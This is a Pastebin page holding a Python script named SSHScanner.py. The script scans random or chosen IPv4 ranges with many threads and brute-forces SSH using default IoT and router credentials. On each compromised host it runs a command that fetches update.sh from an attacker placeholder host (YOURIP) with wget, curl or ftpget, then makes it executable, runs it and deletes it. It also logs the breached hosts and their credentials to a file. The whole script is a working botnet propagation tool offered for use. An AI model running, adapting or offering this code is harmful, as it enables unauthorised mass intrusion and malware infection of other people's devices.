Advertisement
D3adG

SSHScanner.py

May 10th, 2024 (edited)
608
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.82 KB | Cybersecurity | 0 0
  1. import os
  2. import sys
  3. import threading
  4. from datetime import datetime
  5. print('[!] [' + str(datetime.now().time()) + '] SSH Scanner started...')
  6. import random
  7. import socket
  8. import time
  9. try:
  10.     import paramiko
  11. except ImportError:
  12.     print('[!] [' + str(datetime.now().time()) + '] You do not have paramiko installed')
  13.  
  14.  
  15. global scriptName
  16. global threads
  17. global ranged
  18. global timeOUT
  19. global octets
  20. global octet1
  21. global octet2
  22. global octet3
  23.  
  24. usernames = ['root', 'guest', 'support', 'admin1', 'Administrator', 'admin', 'ubnt', 'pi', 'root', 'test']
  25.  
  26. passwords = ['1234', 'root', '123456', '54321', 'test', 'support', 'password', 'pass', 'system', 'realtek', 'dreambox', '7ujMko0admin', '7ujMko0vizxv', 'anko', '1111', 'klv123', 'default', 'xmhdipc', 'ubnt', 'xc3511', 'vizxv', '888888', 'raspberry', 'guest', 'toor', '12345', 'admin', 'root1234', 'admin1234']
  27.  
  28. if len(sys.argv) < 5:
  29.     print('    Usage: python ' + str(sys.argv[0]) + ' <threads> <range> <octets> <timeout>')
  30.     print('Example 1: python ' + str(sys.argv[0]) + ' 4000 a 94 10')
  31.     print('Example 2: python ' + str(sys.argv[0]) + ' 4000 b 94.102 10')
  32.     sys.exit()
  33.  
  34. scriptName = str(sys.argv[0])
  35. threads = str(sys.argv[1])
  36. ranged = str(sys.argv[2])
  37. octets = str(sys.argv[3])
  38. timeOUT = str(sys.argv[4])
  39.  
  40.  
  41. print('[!] [' + str(datetime.now().time()) + '] Threads: ' + threads)
  42. print('[!] [' + str(datetime.now().time()) + ']   Range: ' + ranged)
  43. print('[!] [' + str(datetime.now().time()) + ']  Octets: ' + octets)
  44. print('[!] [' + str(datetime.now().time()) + '] timeout: ' + str(timeOUT))
  45.  
  46.  
  47. def scanner(id):
  48.     global scriptName
  49.     global threads
  50.     global ranged
  51.     global octets
  52.     global timeOUT
  53.     global octet1
  54.     global octet2
  55.     global octet3
  56.     if ranged == 'a':
  57.         if '.' in str(octets):
  58.             sys.exit()
  59.         else:
  60.             octet1 = str(octets)
  61.     elif ranged == 'b':
  62.         try:
  63.             octet1, octet2 = str(octets).split('.')
  64.         except:
  65.             sys.exit()
  66.     elif ranged == 'c':
  67.         try:
  68.             octet1, octet2, octet3 = str(octets).split('.')
  69.         except:
  70.             sys.exit()
  71.     elif ranged != 'random':
  72.         sys.exit()
  73.  
  74.     #scan
  75.     while 1:
  76.         try:
  77.             output = ''
  78.             if ranged == 'a':
  79.                 target = octet1 + '.' + str(random.randrange(0, 256)) + '.' + str(random.randrange(0, 256)) + '.' + str(random.randrange(0, 256))
  80.             elif ranged == 'b':
  81.                 target = octet1 + '.' + octet2 + '.' + str(random.randrange(0, 256)) + '.' + str(random.randrange(0, 256))
  82.             elif ranged == 'c':
  83.                 target = octet1 + '.' + octet2 + '.' + octet3 + '.' + str(random.randrange(0, 256))
  84.             elif ranged == 'random':
  85.                 target =  str(random.randrange(0, 256)) + '.' + str(random.randrange(0, 256)) + '.' + str(random.randrange(0, 256)) + '.' + str(random.randrange(0, 256))
  86.             port = 22
  87.             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  88.             sock.settimeout(int(timeOUT))
  89.             try:
  90.                 sock.connect((target, port))
  91.                 print(target)
  92.             except:
  93.                 pass
  94.             sock.close()
  95.             breaker = False
  96.             for username in usernames:
  97.                 for password in passwords:
  98.                     try:
  99.                         ssh = paramiko.SSHClient()
  100.                         ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  101.                         ssh.connect(target, port = port, username=username, password=password, timeout=10)
  102.                         ssh.close()
  103.                         breaker = True
  104.                         break
  105.                     except:
  106.                         ssh.close()
  107.                         pass
  108.                 if breaker == True:
  109.                     break
  110.             good = False
  111.             try:
  112.                 ssh = paramiko.SSHClient()
  113.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  114.                 ssh.connect(target, port = port, username=username, password=password, timeout=10)
  115.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  116.                 output = stdout.read()
  117.             except:
  118.                 ssh.close()
  119.                 pass
  120.             if 'inet' in output:
  121.                 good = True
  122.             if good == True:
  123.                 ssh.exec_command('cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://YOURIP/update.sh -O update.sh; busybox wget http://YOURIP/update.sh -O update.sh; curl http://YOURIP/update.sh -O update.sh; busybox curl http://YOURIP/update.sh -O update.sh; ftpget -v -u anonymous -p anonymous -P 21 YOURIP update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 YOURIP update.sh update.sh; chmod 777 update.sh; ./update.sh; rm -rf update.sh')
  124.                 log=open('vulnerableSSH.txt', 'a')
  125.                 log.write(target + '|' + str(username) + '|' + str(password) + '|' + str(port) + '\n')
  126.                 log.close()
  127.                 print('[!] [' + str(datetime.now().time()) + ' | ' + str(id) + '] Succeeded: ' + target + '|' + str(username) + '|' + str(password) + '|' + str(port))
  128.                 ssh.close()
  129.         except:
  130.             try:
  131.                 sock.close()
  132.             except:
  133.                 closed = True
  134.             pass
  135.  
  136.  
  137. count = 0
  138. for i in range(0, int(threads)):
  139.     try:
  140.         count = count + 1
  141.         t = threading.Thread(target=scanner, args=(count ,))
  142.         t.start()
  143.     except:
  144.         print('[!] [' + str(datetime.now().time()) + '] Could not start thread: ' + str(count))
  145. print('[!] [' + str(datetime.now().time()) + '] Threads started: ' + str(count))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement